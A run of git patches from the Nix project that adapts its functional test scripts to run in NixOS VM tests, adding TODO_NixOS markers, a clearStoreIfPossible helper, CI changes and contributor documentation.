 source nix-copy-ssh-common.sh "ssh-ng"
 
+TODO_NixOS
+
 clearStore
 clearRemoteStore
 
diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh
index 3e5846cf2f8..e2f19b99e0a 100755
--- a/tests/functional/nix-profile.sh
+++ b/tests/functional/nix-profile.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 clearProfiles
 
diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh
index c38107e64e8..66aece38863 100755
--- a/tests/functional/nix-shell.sh
+++ b/tests/functional/nix-shell.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 if [[ -n ${CONTENT_ADDRESSED:-} ]]; then
diff --git a/tests/functional/optimise-store.sh b/tests/functional/optimise-store.sh
index 70ce954f9bc..f010c5549ec 100755
--- a/tests/functional/optimise-store.sh
+++ b/tests/functional/optimise-store.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 outPath1=$(echo 'with import ./config.nix; mkDerivation { name = "foo1"; builder = builtins.toFile "builder" "mkdir $out; echo hello > $out/foo"; }' | nix-build - --no-out-link --auto-optimise-store)
diff --git a/tests/functional/output-normalization.sh b/tests/functional/output-normalization.sh
index 2b319201af9..c55f1b1d148 100755
--- a/tests/functional/output-normalization.sh
+++ b/tests/functional/output-normalization.sh
@@ -3,6 +3,7 @@
 source common.sh
 
 testNormalization () {
+    TODO_NixOS
     clearStore
     outPath=$(nix-build ./simple.nix --no-out-link)
     test "$(stat -c %Y $outPath)" -eq 1
diff --git a/tests/functional/parallel.sh b/tests/functional/parallel.sh
index 3b7bbe5a225..7e420688d4f 100644
--- a/tests/functional/parallel.sh
+++ b/tests/functional/parallel.sh
@@ -4,6 +4,8 @@ source common.sh
 # First, test that -jN performs builds in parallel.
 echo "testing nix-build -j..."
 
+TODO_NixOS
+
 clearStore
 
 rm -f $_NIX_TEST_SHARED.cur $_NIX_TEST_SHARED.max
diff --git a/tests/functional/pass-as-file.sh b/tests/functional/pass-as-file.sh
index 21d9ffc6d72..0b5605d0598 100755
--- a/tests/functional/pass-as-file.sh
+++ b/tests/functional/pass-as-file.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 outPath=$(nix-build --no-out-link -E "
diff --git a/tests/functional/placeholders.sh b/tests/functional/placeholders.sh
index f2b8bf6bfe9..d4e09a91bfa 100755
--- a/tests/functional/placeholders.sh
+++ b/tests/functional/placeholders.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 nix-build --no-out-link -E '
diff --git a/tests/functional/post-hook.sh b/tests/functional/post-hook.sh
index 7540d1045d0..94a6d0d6912 100755
--- a/tests/functional/post-hook.sh
+++ b/tests/functional/post-hook.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 rm -f $TEST_ROOT/result
diff --git a/tests/functional/pure-eval.sh b/tests/functional/pure-eval.sh
index 6d8aa35ecec..8a18dec6e28 100755
--- a/tests/functional/pure-eval.sh
+++ b/tests/functional/pure-eval.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 nix eval --expr 'assert 1 + 2 == 3; true'
diff --git a/tests/functional/read-only-store.sh b/tests/functional/read-only-store.sh
index ecc57642d19..f6b6eaf32ff 100755
--- a/tests/functional/read-only-store.sh
+++ b/tests/functional/read-only-store.sh
@@ -6,6 +6,8 @@ enableFeatures "read-only-local-store"
 
 needLocalStore "cannot open store read-only when daemon has already opened it writeable"
 
+TODO_NixOS
+
 clearStore
 
 happy () {
diff --git a/tests/functional/readfile-context.sh b/tests/functional/readfile-context.sh
index d0644471dda..0ef549c8d12 100755
--- a/tests/functional/readfile-context.sh
+++ b/tests/functional/readfile-context.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 outPath=$(nix-build --no-out-link readfile-context.nix)
diff --git a/tests/functional/recursive.sh b/tests/functional/recursive.sh
index a9966aabd75..6b255e81ae1 100755
--- a/tests/functional/recursive.sh
+++ b/tests/functional/recursive.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 enableFeatures 'recursive-nix'
 restartDaemon
 
diff --git a/tests/functional/referrers.sh b/tests/functional/referrers.sh
index 0fda97378ce..411cdb7c1fb 100755
--- a/tests/functional/referrers.sh
+++ b/tests/functional/referrers.sh
@@ -4,6 +4,8 @@ source common.sh
 
 needLocalStore "uses some low-level store manipulations that aren’t available through the daemon"
 
+TODO_NixOS
+
 clearStore
 
 max=500
diff --git a/tests/functional/remote-store.sh b/tests/functional/remote-store.sh
index 171a5d39172..841b6b27ae4 100755
--- a/tests/functional/remote-store.sh
+++ b/tests/functional/remote-store.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 # Ensure "fake ssh" remote store works just as legacy fake ssh would.
diff --git a/tests/functional/repair.sh b/tests/functional/repair.sh
index 552e04280f9..1f6004b2c84 100755
--- a/tests/functional/repair.sh
+++ b/tests/functional/repair.sh
@@ -4,6 +4,8 @@ source common.sh
 
 needLocalStore "--repair needs a local store"
 
+TODO_NixOS
+
 clearStore
 
 path=$(nix-build dependencies.nix -o $TEST_ROOT/result)
diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh
index fca98280762..86cd6f458d0 100755
--- a/tests/functional/repl.sh
+++ b/tests/functional/repl.sh
@@ -22,6 +22,8 @@ replUndefinedVariable="
 import $testDir/undefined-variable.nix
 "
 
+TODO_NixOS
+
 testRepl () {
     local nixArgs
     nixArgs=("$@")
diff --git a/tests/functional/restricted.sh b/tests/functional/restricted.sh
index ab4cad5cf33..917a554c514 100755
--- a/tests/functional/restricted.sh
+++ b/tests/functional/restricted.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 nix-instantiate --restrict-eval --eval -E '1 + 2'
diff --git a/tests/functional/search.sh b/tests/functional/search.sh
index ce17411d27b..1195c2a066f 100755
--- a/tests/functional/search.sh
+++ b/tests/functional/search.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 clearCache
 
diff --git a/tests/functional/secure-drv-outputs.sh b/tests/functional/secure-drv-outputs.sh
index 7d81db58b72..5cc4af43521 100755
--- a/tests/functional/secure-drv-outputs.sh
+++ b/tests/functional/secure-drv-outputs.sh
@@ -6,6 +6,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 startDaemon
diff --git a/tests/functional/selfref-gc.sh b/tests/functional/selfref-gc.sh
index 37ce33089f1..a5e368b51ce 100755
--- a/tests/functional/selfref-gc.sh
+++ b/tests/functional/selfref-gc.sh
@@ -4,6 +4,8 @@ source common.sh
 
 requireDaemonNewerThan "2.6.0pre20211215"
 
+TODO_NixOS
+
 clearStore
 
 nix-build --no-out-link -E '
diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh
index 1760eefff31..b4c03f5477c 100755
--- a/tests/functional/shell.sh
+++ b/tests/functional/shell.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 clearCache
 
diff --git a/tests/functional/signing.sh b/tests/functional/signing.sh
index cf84ab37708..d268fd116df 100755
--- a/tests/functional/signing.sh
+++ b/tests/functional/signing.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 clearCache
 
diff --git a/tests/functional/simple.sh b/tests/functional/simple.sh
index 4e7d37f59ac..86acca0c2d1 100755
--- a/tests/functional/simple.sh
+++ b/tests/functional/simple.sh
@@ -17,6 +17,8 @@ echo "output path is $outPath"
 text=$(cat "$outPath/hello")
 if test "$text" != "Hello World!"; then exit 1; fi
 
+TODO_NixOS
+
 # Directed delete: $outPath is not reachable from a root, so it should
 # be deleteable.
 nix-store --delete $outPath
diff --git a/tests/functional/store-info.sh b/tests/functional/store-info.sh
index 2398f5bebdf..f37889fbb1e 100755
--- a/tests/functional/store-info.sh
+++ b/tests/functional/store-info.sh
@@ -16,4 +16,6 @@ fi
 expect 127 NIX_REMOTE=unix:$PWD/store nix store info || \
     fail "nix store info on a non-existent store should fail"
 
+TODO_NixOS
+
 [[ "$(echo "$STORE_INFO_JSON" | jq -r ".url")" == "${NIX_REMOTE:-local}" ]]
diff --git a/tests/functional/structured-attrs.sh b/tests/functional/structured-attrs.sh
index ba7f5967e84..32d4c995721 100755
--- a/tests/functional/structured-attrs.sh
+++ b/tests/functional/structured-attrs.sh
@@ -6,6 +6,8 @@ source common.sh
 # tests for the older versions
 requireDaemonNewerThan "2.4pre20210712"
 
+TODO_NixOS
+
 clearStore
 
 rm -f $TEST_ROOT/result
diff --git a/tests/functional/suggestions.sh b/tests/functional/suggestions.sh
index 6ec1cd322f6..1140e4f78ef 100755
--- a/tests/functional/suggestions.sh
+++ b/tests/functional/suggestions.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 cd "$TEST_HOME"
diff --git a/tests/functional/supplementary-groups.sh b/tests/functional/supplementary-groups.sh
index 9d474219f92..5d329efc9a3 100755
--- a/tests/functional/supplementary-groups.sh
+++ b/tests/functional/supplementary-groups.sh
@@ -7,6 +7,8 @@ requireSandboxSupport
 if ! command -p -v unshare; then skipTest "Need unshare"; fi
 needLocalStore "The test uses --store always so we would just be bypassing the daemon"
 
+TODO_NixOS
+
 unshare --mount --map-root-user bash <<EOF
   source common.sh
 
diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh
index ce162ddcef0..eb541f3bb0d 100755
--- a/tests/functional/tarball.sh
+++ b/tests/functional/tarball.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 rm -rf $TEST_HOME
diff --git a/tests/functional/user-envs-migration.sh b/tests/functional/user-envs-migration.sh
index 992586b951d..0f33074e156 100755
--- a/tests/functional/user-envs-migration.sh
+++ b/tests/functional/user-envs-migration.sh
@@ -13,6 +13,8 @@ fi
 killDaemon
 unset NIX_REMOTE
 
+TODO_NixOS
+
 clearStore
 clearProfiles
 rm -rf ~/.nix-profile
diff --git a/tests/functional/user-envs-test-case.sh b/tests/functional/user-envs-test-case.sh
index f4a90a67505..117c6c7a4bc 100644
--- a/tests/functional/user-envs-test-case.sh
+++ b/tests/functional/user-envs-test-case.sh
@@ -11,6 +11,8 @@ outPath10=$(nix-env -f ./user-envs.nix -qa --out-path --no-name '*' | grep foo-1
 drvPath10=$(nix-env -f ./user-envs.nix -qa --drv-path --no-name '*' | grep foo-1.0)
 [ -n "$outPath10" -a -n "$drvPath10" ]
 
+TODO_NixOS
+
 # Query with json
 nix-env -f ./user-envs.nix -qa --json | jq -e '.[] | select(.name == "bar-0.1") | [
     .outputName == "out",
diff --git a/tests/functional/why-depends.sh b/tests/functional/why-depends.sh
index 69b365069d0..1ce66f1543c 100755
--- a/tests/functional/why-depends.sh
+++ b/tests/functional/why-depends.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 cp ./dependencies.nix ./dependencies.builder0.sh ./config.nix $TEST_HOME
diff --git a/tests/functional/zstd.sh b/tests/functional/zstd.sh
index 3bf9d56016d..90fe58539b1 100755
--- a/tests/functional/zstd.sh
+++ b/tests/functional/zstd.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 clearCache
 

From d208e9dd9f5187db202485cbd5d623018228e3f2 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 16 Jun 2024 16:40:20 +0200
Subject: [PATCH 380/528] tests: Add quickBuild to all VM tests

---
 tests/nixos/default.nix                      | 8 +++++++-
 tests/nixos/functional/common.nix            | 5 -----
 tests/nixos/{functional => }/quick-build.nix | 0
 3 files changed, 7 insertions(+), 6 deletions(-)
 rename tests/nixos/{functional => }/quick-build.nix (100%)

diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index 2ab00b336b1..512195a6732 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -7,7 +7,13 @@ let
   # https://nixos.org/manual/nixos/unstable/index.html#sec-calling-nixos-tests
   runNixOSTestFor = system: test:
     (nixos-lib.runTest {
-      imports = [ test ];
+      imports = [
+        test
+
+        # Add the quickBuild attribute to the check packages
+        ./quick-build.nix
+      ];
+
       hostPkgs = nixpkgsFor.${system}.native;
       defaults = {
         nixpkgs.pkgs = nixpkgsFor.${system}.native;
diff --git a/tests/nixos/functional/common.nix b/tests/nixos/functional/common.nix
index 493791a7bd6..51fd768843a 100644
--- a/tests/nixos/functional/common.nix
+++ b/tests/nixos/functional/common.nix
@@ -8,11 +8,6 @@ let
 
 in
 {
-  imports = [
-    # Add the quickBuild attribute to the check package
-    ./quick-build.nix
-  ];
-
   # We rarely change the script in a way that benefits from type checking, so
   # we skip it to save time.
   skipTypeCheck = true;
diff --git a/tests/nixos/functional/quick-build.nix b/tests/nixos/quick-build.nix
similarity index 100%
rename from tests/nixos/functional/quick-build.nix
rename to tests/nixos/quick-build.nix

From fca160fbcd9f8852b67c99eacf201ea0b693142a Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 16 Jun 2024 16:50:56 +0200
Subject: [PATCH 381/528] doc/contributing/testing: Describe functional VM
 tests and quickBuild

---
 doc/manual/src/contributing/testing.md | 21 ++++++++++++++++++++-
 1 file changed, 20 insertions(+), 1 deletion(-)

diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md
index 88b3c5cd98c..717deabd71d 100644
--- a/doc/manual/src/contributing/testing.md
+++ b/doc/manual/src/contributing/testing.md
@@ -114,6 +114,8 @@ On other platforms they wouldn't be run at all.
 The functional tests reside under the `tests/functional` directory and are listed in `tests/functional/local.mk`.
 Each test is a bash script.
 
+Functional tests are run during `installCheck` in the `nix` package build, as well as separately from the build, in VM tests.
+
 ### Running the whole test suite
 
 The whole test suite can be run with:
@@ -252,13 +254,30 @@ Regressions are caught, and improvements always show up in code review.
 
 To ensure that characterisation testing doesn't make it harder to intentionally change these interfaces, there always must be an easy way to regenerate the expected output, as we do with `_NIX_TEST_ACCEPT=1`.
 
+### Running functional tests on NixOS
+
+We run the functional tests not just in the build, but also in VM tests.
+This helps us ensure that Nix works correctly on NixOS, and environments that have similar characteristics that are hard to reproduce in a build environment.
+
+The recommended way to run these tests during development is:
+
+```shell
+nix build .#hydraJobs.tests.functional_user.quickBuild
+```
+
+The `quickBuild` attribute configures the test to use a `nix` package that's built without integration tests, so that you can iterate on the tests without performing recompilations due to the changed sources for `installCheck`.
+
+Generally, this build is sufficient, but in nightly or CI we also test the attributes `functional_root` and `functional_trusted`, in which the test suite is run with different levels of authorization.
+
 ## Integration tests
 
 The integration tests are defined in the Nix flake under the `hydraJobs.tests` attribute.
 These tests include everything that needs to interact with external services or run Nix in a non-trivial distributed setup.
 Because these tests are expensive and require more than what the standard github-actions setup provides, they only run on the master branch (on <https://hydra.nixos.org/jobset/nix/master>).
 
-You can run them manually with `nix build .#hydraJobs.tests.{testName}` or `nix-build -A hydraJobs.tests.{testName}`
+You can run them manually with `nix build .#hydraJobs.tests.{testName}` or `nix-build -A hydraJobs.tests.{testName}`.
+
+If you are testing a build of `nix` that you haven't compiled yet, you may iterate faster by appending the `quickBuild` attribute: `nix build .#hydraJobs.tests.{testName}.quickBuild`.
 
 ## Installer tests
 

From f0abe4d8f0f38e22e61cc79517494437e365375c Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 16 Jun 2024 16:57:15 +0200
Subject: [PATCH 382/528] ci: Build tests.functional_user for PRs

---
 .github/workflows/ci.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 1aa3b776ef2..6362620b050 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -175,4 +175,4 @@ jobs:
       - uses: actions/checkout@v4
       - uses: DeterminateSystems/nix-installer-action@main
       - uses: DeterminateSystems/magic-nix-cache-action@main
-      - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes
+      - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes .#hydraJobs.tests.functional_user

From 648302b833e6eae4a1c81fe897532e9fa8d7fd6b Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 16 Jun 2024 17:56:50 +0200
Subject: [PATCH 383/528] tests/functional: Enable more tests in NixOS VM

---
 tests/functional/add.sh                       |  4 +---
 tests/functional/binary-cache-build-remote.sh |  2 +-
 tests/functional/build-delete.sh              |  4 +---
 tests/functional/build.sh                     |  4 +---
 tests/functional/check-refs.sh                | 19 ++++++++++++-------
 tests/functional/check-reqs.sh                |  4 +---
 tests/functional/common/vars-and-functions.sh | 16 +++++++++++++++-
 tests/functional/compression-levels.sh        |  4 +---
 tests/functional/debugger.sh                  |  4 +---
 tests/functional/dependencies.sh              |  6 +++---
 tests/functional/eval.sh                      |  4 +---
 tests/functional/fetchGit.sh                  |  4 +---
 tests/functional/fetchGitRefs.sh              |  4 +---
 tests/functional/fetchGitSubmodules.sh        |  4 +---
 tests/functional/fetchGitVerification.sh      |  4 +---
 tests/functional/flakes/search-root.sh        |  4 +---
 tests/functional/fmt.sh                       |  6 ++----
 tests/functional/git-hashing/common.sh        |  2 +-
 tests/functional/help.sh                      |  4 ----
 tests/functional/import-derivation.sh         |  4 +---
 tests/functional/impure-derivations.sh        |  2 +-
 tests/functional/multiple-outputs.sh          |  2 +-
 tests/functional/nix-build.sh                 |  2 +-
 tests/functional/nix-shell.sh                 |  4 +---
 tests/functional/optimise-store.sh            |  7 ++++---
 tests/functional/pass-as-file.sh              |  4 +---
 tests/functional/placeholders.sh              |  4 +---
 tests/functional/pure-eval.sh                 |  4 +---
 tests/functional/readfile-context.sh          |  2 +-
 tests/functional/recursive.sh                 |  2 +-
 tests/functional/restricted.sh                |  4 +---
 tests/functional/search.sh                    |  4 +---
 tests/functional/selfref-gc.sh                |  4 +---
 tests/functional/signing.sh                   |  5 ++---
 tests/functional/structured-attrs.sh          |  6 +++---
 tests/functional/suggestions.sh               |  4 +---
 tests/functional/tarball.sh                   |  4 +---
 tests/functional/why-depends.sh               |  4 +---
 38 files changed, 71 insertions(+), 104 deletions(-)

diff --git a/tests/functional/add.sh b/tests/functional/add.sh
index 328b14831af..3b37ee7d47f 100755
--- a/tests/functional/add.sh
+++ b/tests/functional/add.sh
@@ -31,9 +31,7 @@ test "$hash1" = "sha256:$hash2"
 
 #### New style commands
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 (
     path1=$(nix store add ./dummy)
diff --git a/tests/functional/binary-cache-build-remote.sh b/tests/functional/binary-cache-build-remote.sh
index 17e8bdcc1a5..5046d0064de 100755
--- a/tests/functional/binary-cache-build-remote.sh
+++ b/tests/functional/binary-cache-build-remote.sh
@@ -4,7 +4,7 @@ source common.sh
 
 TODO_NixOS
 
-clearStore
+clearStoreIfPossible
 clearCacheCache
 
 # Fails without remote builders
diff --git a/tests/functional/build-delete.sh b/tests/functional/build-delete.sh
index 2ebf1fd3d3c..18841509d50 100755
--- a/tests/functional/build-delete.sh
+++ b/tests/functional/build-delete.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 # https://github.com/NixOS/nix/issues/6572
 issue_6572_independent_outputs() {
diff --git a/tests/functional/build.sh b/tests/functional/build.sh
index db759b6e989..9de953d8cbf 100755
--- a/tests/functional/build.sh
+++ b/tests/functional/build.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 # Make sure that 'nix build' returns all outputs by default.
 nix build -f multiple-outputs.nix --json a b --no-link | jq --exit-status '
diff --git a/tests/functional/check-refs.sh b/tests/functional/check-refs.sh
index 26790c11bbb..5c3ac915ecf 100755
--- a/tests/functional/check-refs.sh
+++ b/tests/functional/check-refs.sh
@@ -45,13 +45,18 @@ nix-build -o "$RESULT" check-refs.nix -A test7
 # test10 should succeed (no disallowed references).
 nix-build -o "$RESULT" check-refs.nix -A test10
 
-if isDaemonNewer 2.12pre20230103; then
-    if ! isDaemonNewer 2.16.0; then
-        enableFeatures discard-references
-        restartDaemon
+if ! isTestOnNixOS; then
+    # If we have full control over our store, we can test some more things.
+
+    if isDaemonNewer 2.12pre20230103; then
+        if ! isDaemonNewer 2.16.0; then
+            enableFeatures discard-references
+            restartDaemon
+        fi
+
+        # test11 should succeed.
+        test11=$(nix-build -o "$RESULT" check-refs.nix -A test11)
+        [[ -z $(nix-store -q --references "$test11") ]]
     fi
 
-    # test11 should succeed.
-    test11=$(nix-build -o "$RESULT" check-refs.nix -A test11)
-    [[ -z $(nix-store -q --references "$test11") ]]
 fi
diff --git a/tests/functional/check-reqs.sh b/tests/functional/check-reqs.sh
index bb91bacde75..34eb133db22 100755
--- a/tests/functional/check-reqs.sh
+++ b/tests/functional/check-reqs.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 RESULT=$TEST_ROOT/result
 
diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh
index 4b0fee5b24e..8237d853f71 100644
--- a/tests/functional/common/vars-and-functions.sh
+++ b/tests/functional/common/vars-and-functions.sh
@@ -82,11 +82,25 @@ clearProfiles() {
     rm -rf "$profiles"
 }
 
+# Clear the store, but do not fail if we're in an environment where we can't.
+# This allows the test to run in a NixOS test environment, where we use the system store.
+# See doc/manual/src/contributing/testing.md / Running functional tests on NixOS.
+clearStoreIfPossible() {
+    if isTestOnNixOS; then
+        echo "clearStoreIfPossible: Not clearing store, because we're on NixOS. Moving on."
+    else
+        doClearStore
+    fi
+}
+
 clearStore() {
     if isTestOnNixOS; then
-      die "clearStore: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..."
+      die "clearStore: not supported when testing on NixOS. If not essential, call clearStoreIfPossible. If really needed, add conditionals; e.g. if ! isTestOnNixOS; then ..."
     fi
+    doClearStore
+}
 
+doClearStore() {
     echo "clearing store..."
     chmod -R +w "$NIX_STORE_DIR"
     rm -rf "$NIX_STORE_DIR"
diff --git a/tests/functional/compression-levels.sh b/tests/functional/compression-levels.sh
index f51c3f509ce..399265f9c91 100755
--- a/tests/functional/compression-levels.sh
+++ b/tests/functional/compression-levels.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 clearCache
 
 outPath=$(nix-build dependencies.nix --no-out-link)
diff --git a/tests/functional/debugger.sh b/tests/functional/debugger.sh
index 178822d7964..b96b7e5d3f7 100755
--- a/tests/functional/debugger.sh
+++ b/tests/functional/debugger.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 # regression #9932
 echo ":env" | expect 1 nix eval --debugger --expr '(_: throw "oh snap") 42'
diff --git a/tests/functional/dependencies.sh b/tests/functional/dependencies.sh
index bb01b3988f4..972bc5a9bd6 100755
--- a/tests/functional/dependencies.sh
+++ b/tests/functional/dependencies.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 drvPath=$(nix-instantiate dependencies.nix)
 
@@ -67,6 +65,8 @@ drvPath2=$(nix-instantiate dependencies.nix --argstr hashInvalidator yay)
 # now --valid-derivers returns both
 test "$(nix-store -q --valid-derivers "$outPath" | sort)" = "$(sort <<< "$drvPath"$'\n'"$drvPath2")"
 
+TODO_NixOS # The following --delete fails, because it seems to be still alive. This might be caused by a different test using the same path. We should try make the derivations unique, e.g. naming after tests, and adding a timestamp that's constant for that test script run.
+
 # check that nix-store --valid-derivers only returns existing drv
 nix-store --delete "$drvPath"
 test "$(nix-store -q --valid-derivers "$outPath")" = "$drvPath2"
diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh
index ba335d73aac..27cdce478e3 100755
--- a/tests/functional/eval.sh
+++ b/tests/functional/eval.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 testStdinHeredoc=$(nix eval -f - <<EOF
 {
diff --git a/tests/functional/fetchGit.sh b/tests/functional/fetchGit.sh
index 130b620bffb..78925b5cdd6 100755
--- a/tests/functional/fetchGit.sh
+++ b/tests/functional/fetchGit.sh
@@ -4,9 +4,7 @@ source common.sh
 
 requireGit
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 # Intentionally not in a canonical form
 # See https://github.com/NixOS/nix/issues/6195
diff --git a/tests/functional/fetchGitRefs.sh b/tests/functional/fetchGitRefs.sh
index 6d1f67e48f3..ee054fabc5b 100755
--- a/tests/functional/fetchGitRefs.sh
+++ b/tests/functional/fetchGitRefs.sh
@@ -4,9 +4,7 @@ source common.sh
 
 requireGit
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 repo="$TEST_ROOT/git"
 
diff --git a/tests/functional/fetchGitSubmodules.sh b/tests/functional/fetchGitSubmodules.sh
index 3726ee689dd..4a3e4c347ec 100755
--- a/tests/functional/fetchGitSubmodules.sh
+++ b/tests/functional/fetchGitSubmodules.sh
@@ -6,9 +6,7 @@ set -u
 
 requireGit
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 rootRepo=$TEST_ROOT/gitSubmodulesRoot
 subRepo=$TEST_ROOT/gitSubmodulesSub
diff --git a/tests/functional/fetchGitVerification.sh b/tests/functional/fetchGitVerification.sh
index 57a317bcd82..4012d82290e 100755
--- a/tests/functional/fetchGitVerification.sh
+++ b/tests/functional/fetchGitVerification.sh
@@ -7,9 +7,7 @@ requireGit
 
 enableFeatures "verified-fetches"
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 repo="$TEST_ROOT/git"
 
diff --git a/tests/functional/flakes/search-root.sh b/tests/functional/flakes/search-root.sh
index c61ae3bfa59..1ee29fac4b5 100755
--- a/tests/functional/flakes/search-root.sh
+++ b/tests/functional/flakes/search-root.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 writeSimpleFlake "$TEST_HOME"
 cd "$TEST_HOME"
diff --git a/tests/functional/fmt.sh b/tests/functional/fmt.sh
index 114aba3964c..b29fe64d6bc 100755
--- a/tests/functional/fmt.sh
+++ b/tests/functional/fmt.sh
@@ -2,9 +2,9 @@
 
 source common.sh
 
-TODO_NixOS
+TODO_NixOS # Provide a `shell` variable. Try not to `export` it, perhaps.
 
-clearStore
+clearStoreIfPossible
 rm -rf $TEST_HOME/.cache $TEST_HOME/.config $TEST_HOME/.local
 
 cp ./simple.nix ./simple.builder.sh ./fmt.simple.sh ./config.nix $TEST_HOME
@@ -33,5 +33,3 @@ EOF
 nix fmt ./file ./folder | grep 'Formatting: ./file ./folder'
 nix flake check
 nix flake show | grep -P "package 'formatter'"
-
-clearStore
diff --git a/tests/functional/git-hashing/common.sh b/tests/functional/git-hashing/common.sh
index 639da16ce1f..29c518fea26 100644
--- a/tests/functional/git-hashing/common.sh
+++ b/tests/functional/git-hashing/common.sh
@@ -1,6 +1,6 @@
 source ../common.sh
 
-TODO_NixOS
+TODO_NixOS # Need to enable git hashing feature and make sure test is ok for store we don't clear
 
 clearStore
 clearCache
diff --git a/tests/functional/help.sh b/tests/functional/help.sh
index 1bb8e9f9f8b..61efc1cb2a7 100755
--- a/tests/functional/help.sh
+++ b/tests/functional/help.sh
@@ -2,10 +2,6 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
-
 # test help output
 
 nix-build --help
diff --git a/tests/functional/import-derivation.sh b/tests/functional/import-derivation.sh
index be28b1604f0..68ddcfa4a9d 100755
--- a/tests/functional/import-derivation.sh
+++ b/tests/functional/import-derivation.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 if nix-instantiate --readonly-mode ./import-derivation.nix; then
     echo "read-only evaluation of an imported derivation unexpectedly failed"
diff --git a/tests/functional/impure-derivations.sh b/tests/functional/impure-derivations.sh
index 475dba73208..5dea220fec7 100755
--- a/tests/functional/impure-derivations.sh
+++ b/tests/functional/impure-derivations.sh
@@ -9,7 +9,7 @@ TODO_NixOS
 enableFeatures "ca-derivations impure-derivations"
 restartDaemon
 
-clearStore
+clearStoreIfPossible
 
 # Basic test of impure derivations: building one a second time should not use the previous result.
 printf 0 > $TEST_ROOT/counter
diff --git a/tests/functional/multiple-outputs.sh b/tests/functional/multiple-outputs.sh
index c4af56f0b09..35a78d152c7 100755
--- a/tests/functional/multiple-outputs.sh
+++ b/tests/functional/multiple-outputs.sh
@@ -4,7 +4,7 @@ source common.sh
 
 TODO_NixOS
 
-clearStore
+clearStoreIfPossible
 
 rm -f $TEST_ROOT/result*
 
diff --git a/tests/functional/nix-build.sh b/tests/functional/nix-build.sh
index cfba7f0200d..091e429e02d 100755
--- a/tests/functional/nix-build.sh
+++ b/tests/functional/nix-build.sh
@@ -4,7 +4,7 @@ source common.sh
 
 TODO_NixOS
 
-clearStore
+clearStoreIfPossible
 
 outPath=$(nix-build dependencies.nix -o $TEST_ROOT/result)
